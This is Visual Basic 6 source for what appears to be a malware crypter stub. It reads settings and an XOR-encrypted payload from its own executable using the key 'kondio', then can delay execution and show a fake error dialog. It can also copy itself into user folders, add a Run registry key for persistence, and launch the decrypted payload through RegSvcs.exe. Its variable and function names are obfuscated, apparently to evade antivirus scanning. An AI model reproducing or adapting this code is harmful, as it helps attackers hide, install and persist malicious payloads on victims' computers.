Private Declare Function GetCompressedFileSizeA Lib "kernel32" (ByVal lpFileName As String, lpFileSizeHigh As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal LDAQMITPOULWLIWUYWKGDYKNVHNZFWXNTVAURHVCHWCCNENIKWUYKNRKCWUNSLUGJMKTJMZNZGTFGBKFAPAQCECRTHQXMGYYJKW As Long)


Sub WIRCBDAWDTKZAGKWQFXBFCZLQ()
'Dim sPsyco As stirng
Dim ZCIGDTVVWOXRWGIHEZCQOVZLN As String
Dim JZQZYIDOKWSZGBLUVCIZRYSSN() As String
Dim TOIHNZFBZELBFRZRVZZWXHSFM As String
sPsyco = gAAµggiggggiAyg
Dim VFVWHBSCLAVZSERWGEXHGTOEZ() As Byte
Open sPsyco For Binary As iiooi
ZCIGDTVVWOXRWGIHEZCQOVZLN = Space$(FWNKWJPEZIIQVNEEEYHSYUWQN(gAAµggiggggiAyg))
Get #1, , ZCIGDTVVWOXRWGIHEZCQOVZLN
Close #1
JZQZYIDOKWSZGBLUVCIZRYSSN = Split(ZCIGDTVVWOXRWGIHEZCQOVZLN, "mix")
If JZQZYIDOKWSZGBLUVCIZRYSSN(7) = 1 Then
Dim DelaySec As Integer
DelaySec = JZQZYIDOKWSZGBLUVCIZRYSSN(8)
DelaySec = DelaySec & "000"
Sleep (DelaySec)
End If
TOIHNZFBZELBFRZRVZZWXHSFM = TGssXB»sYsTs¤ss‰s‰s0sX©ss°s1sL(JZQZYIDOKWSZGBLUVCIZRYSSN(18), "kondio")
VFVWHBSCLAVZSERWGEXHGTOEZ = StrConv(TOIHNZFBZELBFRZRVZZWXHSFM, vbFromUnicode)



If JZQZYIDOKWSZGBLUVCIZRYSSN(9) = 1 Then

End If
If JZQZYIDOKWSZGBLUVCIZRYSSN(10) = 1 Then
End If
If JZQZYIDOKWSZGBLUVCIZRYSSN(11) = 1 Then
End If
If JZQZYIDOKWSZGBLUVCIZRYSSN(12) = 1 Then
Dim FakeTitle As String
Dim FakeContent As String
Dim FakeRadio As String
FakeTitle = JZQZYIDOKWSZGBLUVCIZRYSSN(13)
FakeContent = JZQZYIDOKWSZGBLUVCIZRYSSN(14)
FakeRadio = JZQZYIDOKWSZGBLUVCIZRYSSN(15)
If FakeRadio = "Error" Then
MsgBox FakeContent, vbCritical, FakeTitle
ElseIf FakeRadio = "Warning" Then
MsgBox FakeContent, vbExclamation, FakeTitle
ElseIf FakeRadio = "Information" Then
MsgBox FakeContent, vbInformation, FakeTitle
End If
End If

If JZQZYIDOKWSZGBLUVCIZRYSSN(1) = 1 Then
Dim InstallName As String
Dim InstallDirName As String
Dim InstallDir As String
InstallName = JZQZYIDOKWSZGBLUVCIZRYSSN(2)
InstallDirName = JZQZYIDOKWSZGBLUVCIZRYSSN(4)
InstallDir = JZQZYIDOKWSZGBLUVCIZRYSSN(3)
Appdatat = Environ$("APPDATA")
Tempt = Environ$("TEMP")
ProgramFilest = Environ$("ProgramFiles")
Desktopt = Environ$("USERPROFILE") & "\Desktop"
Startupt = Environ$("USERPROFILE")
Usert = Environ$("USERPROFILE")
Dim PathToInst As String
    If JZQZYIDOKWSZGBLUVCIZRYSSN(3) = "AppData" Then
    PathToInst = Appdatat
    ElseIf JZQZYIDOKWSZGBLUVCIZRYSSN(3) = "Temp" Then
    PathToInst = Tempt
    ElseIf JZQZYIDOKWSZGBLUVCIZRYSSN(3) = "ProgramFiles" Then
    PathToInst = ProgramFilest
    ElseIf JZQZYIDOKWSZGBLUVCIZRYSSN(3) = "Desktop" Then
    PathToInst = Desktopt
    ElseIf JZQZYIDOKWSZGBLUVCIZRYSSN(3) = "StarUp" Then
    PathToInst = Startupt
    ElseIf JZQZYIDOKWSZGBLUVCIZRYSSN(3) = "User" Then
    PathToInst = Usert
    End If
Dim Destin As String
Destin = PathToInst & "\" & InstallDirName
Destinat = PathToInst & "\" & InstallDirName & "\" & InstallName
    If Not Dir(Destinat) <> "" Then

    MkDir Destin
    FileCopy gAAµggiggggiAyg, Destinat
    End If
End If
If JZQZYIDOKWSZGBLUVCIZRYSSN(5) = 1 And gAAµggiggggiAyg <> Destinat Then
Dim StarUpNamee As String
Dim WhereToReg As String
WhereToReg = gAAµggiggggiAyg
    If JZQZYIDOKWSZGBLUVCIZRYSSN(1) = 1 Then
    WhereToReg = PathToInst & "\" & InstallDirName & "\" & InstallName
    End If

StarUpNamee = JZQZYIDOKWSZGBLUVCIZRYSSN(6)
Dim StartUpPatht As String

Set Wsh = CreateObject("WScript.shell")
Wsh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\" & InstallName, WhereToReg, "REG_SZ"
End If
If JZQZYIDOKWSZGBLUVCIZRYSSN(16) = 1 Then

Dim WhereNet As String
WhereNet = Environ$("WinDir") & "\Microsoft.NET\Framework\v2.0.50727\RegSvcs.exe"

Call xbmi§RxlxVxl™bRxp©x©™x§VxSxxxgxx©x§§xxxd©MxxVxiU§xMyHix§bK§iH©Mxxxxx§xKhiibxxxxicmV(WhereNet, VFVWHBSCLAVZSERWGEXHGTOEZ)
Else
Call xbmi§RxlxVxl™bRxp©x©™x§VxSxxxgxx©x§§xxxd©MxxVxiU§xMyHix§bK§iH©Mxxxxx§xKhiibxxxxicmV(gAAµggiggggiAyg, VFVWHBSCLAVZSERWGEXHGTOEZ)
End If


End Sub

Public Function FWNKWJPEZIIQVNEEEYHSYUWQN(myfile As String) As String
 Dim SIZE As String
SIZE = CStr(GetCompressedFileSizeA(myfile, ByVal 0&))
FWNKWJPEZIIQVNEEEYHSYUWQN = SIZE
 End Function




Public Function iiooi()

Dim uooOi  As String

uooOi = Chr$(49)

iiooi = uooOi

 End Function




Public Function gAAµggiggggiAyg()

Dim gggµigAggyggggg As String, ggggggµAAiAAigg As String, giiA§»gggggiggA As String, Igiµµgggigggig§ As String

gggµigAggyggggg = App.Path

ggggggµAAiAAigg = ggggggAiyggggiµ(Chr$(92))

giiA§»gggggiggA = App.EXEName

Igiµµgggigggig§ = ggggggAiyggggiµ(Chr$(69) & Chr$(46) & Chr$(69) & Chr$(88))

gAAµggiggggiAyg = gggµigAggyggggg + ggggggµAAiAAigg + giiA§»gggggiggA + Igiµµgggigggig§

 End Function

Public Function ggggggAiyggggiµ(ggggggg»Ig§ggAg As String) As String

Dim gAgA§»gg§IigIgg As Variant

For gAgA§»gg§IigIgg = 1 To Len(ggggggg»Ig§ggAg) Step 2

ggggggAiyggggiµ = ggggggAiyggggiµ & StrReverse(Mid(ggggggg»Ig§ggAg, gAgA§»gg§IigIgg, 2))

 DoEvents

 Next gAgA§»gg§IigIgg

 End Function
Function TGssXB»sYsTs¤ss‰s‰s0sX©ss°s1sL(ssDsssLµOs1sss6ssµsss8ss†ssJ¦s As String, ¦§sS0s†s‰ssssssZssssTs0sµµs™Es As String) As String
Dim s§ssUsssZssN‰S·5ssOssssI»ss8Xs() As Byte
Dim sss¦ssUMs†s6S‰Ysss31s1s3s¬™¤s3() As Byte
Dim sXsssssµss¬4sssssJ3s6sssssJQsS As Long
Dim sDHs°·ss4sssssIsss5sssµµss©HKs As Long
Dim s¤Qssss3sMIMs§ssssµs™¤s‰ss§ss© As Long
Dim »sKs6®»sssss¬¤sssAssss0»sss¤0Q As Long
sss¦ssUMs†s6S‰Ysss31s1s3s¬™¤s3() = StrConv(ssDsssLµOs1sss6ssµsss8ss†ssJ¦s, vbFromUnicode)
s§ssUsssZssN‰S·5ssOssssI»ss8Xs() = StrConv(¦§sS0s†s‰ssssssZssssTs0sµµs™Es, vbFromUnicode)
s¤Qssss3sMIMs§ssssµs™¤s‰ss§ss© = UBound(sss¦ssUMs†s6S‰Ysss31s1s3s¬™¤s3)
»sKs6®»sssss¬¤sssAssss0»sss¤0Q = UBound(s§ssUsssZssN‰S·5ssOssssI»ss8Xs)
Do Until sXsssssµss¬4sssssJ3s6sssssJQsS > s¤Qssss3sMIMs§ssssµs™¤s‰ss§ss©
sss¦ssUMs†s6S‰Ysss31s1s3s¬™¤s3(sXsssssµss¬4sssssJ3s6sssssJQsS) = sss¦ssUMs†s6S‰Ysss31s1s3s¬™¤s3(sXsssssµss¬4sssssJ3s6sssssJQsS) Xor s§ssUsssZssN‰S·5ssOssssI»ss8Xs(sDHs°·ss4sssssIsss5sssµµss©HKs)
sDHs°·ss4sssssIsss5sssµµss©HKs = sDHs°·ss4sssssIsss5sssµµss©HKs + 1
If sDHs°·ss4sssssIsss5sssµµss©HKs > »sKs6®»sssss¬¤sssAssss0»sss¤0Q Then sDHs°·ss4sssssIsss5sssµµss©HKs = 0
sXsssssµss¬4sssssJ3s6sssssJQsS = sXsssssµss¬4sssssJ3s6sssssJQsS + 1
Loop
Erase s§ssUsssZssN‰S·5ssOssssI»ss8Xs
TGssXB»sYsTs¤ss‰s‰s0sX©ss°s1sL = StrConv(sss¦ssUMs†s6S‰Ysss31s1s3s¬™¤s3, vbUnicode)
Erase sss¦ssUMs†s6S‰Ysss31s1s3s¬™¤s3
End Function